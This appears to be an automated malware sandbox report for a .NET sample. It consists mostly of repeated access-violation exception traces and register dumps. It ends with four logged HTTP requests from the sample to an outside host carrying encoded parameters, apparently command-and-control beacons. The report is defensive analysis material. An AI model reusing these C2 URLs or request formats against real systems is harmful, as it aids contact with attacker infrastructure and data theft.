VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 f0 18 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f241 registers.esp: 82571832 registers.edi: 82571896 registers.eax: 0 registers.ebp: 82571904 registers.edx: 37583652 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ce 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 7d 18 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f2b4 registers.esp: 82567436 registers.edi: 82571896 registers.eax: 0 registers.ebp: 82571904 registers.edx: 37583652 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5f1 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 b0 17 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f381 registers.esp: 82571832 registers.edi: 82571896 registers.eax: 0 registers.ebp: 82571904 registers.edx: 37584476 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5f1 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 3d 17 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f3f4 registers.esp: 82567436 registers.edi: 82571896 registers.eax: 0 registers.ebp: 82571904 registers.edx: 37584476 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4ad 0x80b614 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 b0 17 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f381 registers.esp: 82571716 registers.edi: 82571780 registers.eax: 0 registers.ebp: 82571788 registers.edx: 37584476 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4ad 0x80b614 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 3d 17 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f3f4 registers.esp: 82567316 registers.edi: 82571780 registers.eax: 0 registers.ebp: 82571788 registers.edx: 37584476 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4bb 0x80b614 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 30 1a 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f101 registers.esp: 82571716 registers.edi: 82571780 registers.eax: 0 registers.ebp: 82571788 registers.edx: 37535088 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4bb 0x80b614 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 bd 19 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f174 registers.esp: 82567316 registers.edi: 82571780 registers.eax: 0 registers.ebp: 82571788 registers.edx: 37535088 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f6e5 0x80b637 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 30 1a 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f101 registers.esp: 82571736 registers.edi: 82571800 registers.eax: 0 registers.ebp: 82571808 registers.edx: 37535088 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f6e5 0x80b637 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 bd 19 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f174 registers.esp: 82567340 registers.edi: 82571800 registers.eax: 0 registers.ebp: 82571808 registers.edx: 37535088 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (4 events)

request	GET http://vm654.loyal.sclad.network/Localcentral.php?lcM9Rlwz4r8y1usY2r3pk0JCzivB3d=Q15vnjyCemeZpp&7bUPIE3uWvSJKt0u=aSr668FzDpZCFadXUkUrnUUWHi9UZo&5625e97c4d8e9c3063c63b0955fdc835=8301e0bb6d69478ba19292bc151c321a&d8cddfd69873ce3642f4bcba78d2ff45=AN2gDM1MWZ2gjZyUTYkVmMxQWOiVWZwczNhZzNiNjZ0UDOzYDO0EWO&lcM9Rlwz4r8y1usY2r3pk0JCzivB3d=Q15vnjyCemeZpp&7bUPIE3uWvSJKt0u=aSr668FzDpZCFadXUkUrnUUWHi9UZo
request	GET http://vm654.loyal.sclad.network/Localcentral.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&76dac9c05f68f73a7ea391369b42615f=QZyUmZ0QWNmVTYxYjZ3MTYiBjYkdjMiRTZ5UWMwAjNzETM0gjMyMGMxczNxUDMxcjMzAzMzETN&d8cddfd69873ce3642f4bcba78d2ff45=gYyIjYygDMyQWNkFGN3QWZ5UGZzEDNkhTOzMmYzEDNkFmM0MzM3cDN&0f59c38e192e12ce220bdf8b59a895d7=d1nIzkDMlNzM3IWY4czNmdjZhFTZlRGZ1YGZiFmN2AzY5gzMiRTZlRDNwIiOiADO3cTNkNWZwImN4MWYlNTZ5Q2YycjZyIWO5QWYyQmYiwiIwY2MzkzNyYGZiNTZ4MDNzkjZwUzYwYWO4kDMjN2YiRmNllzNwAzM0IiOiIDMiVmYwkDZxMGOllTMzUjZ3IGZ3YWYzYzY1YjZyYTYis3W&952d38e09aadb53c0aa60f7607bf464e=0VfiIiOikzYhVGNwAjN3gzMhVzNlJjM4ITN1UDZlhDOklDNmVWYiwiIzkDMlNzM3IWY4czNmdjZhFTZlRGZ1YGZiFmN2AzY5gzMiRTZlRDNwIiOiADO3cTNkNWZwImN4MWYlNTZ5Q2YycjZyIWO5QWYyQmYiwiIwY2MzkzNyYGZiNTZ4MDNzkjZwUzYwYWO4kDMjN2YiRmNllzNwAzM0IiOiIDMiVmYwkDZxMGOllTMzUjZ3IGZ3YWYzYzY1YjZyYTYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikzYhVGNwAjN3gzMhVzNlJjM4ITN1UDZlhDOklDNmVWYiwiImFmM0ADNyUDMyQ2YiFDNhZmYzEWM3kDOkFjNzYGZxgDZllTMyYWYxIiOiADO3cTNkNWZwImN4MWYlNTZ5Q2YycjZyIWO5QWYyQmYiwiIwY2MzkzNyYGZiNTZ4MDNzkjZwUzYwYWO4kDMjN2YiRmNllzNwAzM0IiOiIDMiVmYwkDZxMGOllTMzUjZ3IGZ3YWYzYzY1YjZyYTYis3W
request	GET http://vm654.loyal.sclad.network/Localcentral.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&76dac9c05f68f73a7ea391369b42615f=QZyUmZ0QWNmVTYxYjZ3MTYiBjYkdjMiRTZ5UWMwAjNzETM0gjMyMGMxczNxUDMxcjMzAzMzETN&d8cddfd69873ce3642f4bcba78d2ff45=gYyIjYygDMyQWNkFGN3QWZ5UGZzEDNkhTOzMmYzEDNkFmM0MzM3cDN&952d38e09aadb53c0aa60f7607bf464e=0VfiIiOikzYhVGNwAjN3gzMhVzNlJjM4ITN1UDZlhDOklDNmVWYiwiIllDMjZDOykjYxMGNxQGO1E2N5UDMmVzYhRWN4EWMiBjMklDM5Y2YzIiOiADO3cTNkNWZwImN4MWYlNTZ5Q2YycjZyIWO5QWYyQmYiwiIwY2MzkzNyYGZiNTZ4MDNzkjZwUzYwYWO4kDMjN2YiRmNllzNwAzM0IiOiIDMiVmYwkDZxMGOllTMzUjZ3IGZ3YWYzYzY1YjZyYTYis3W
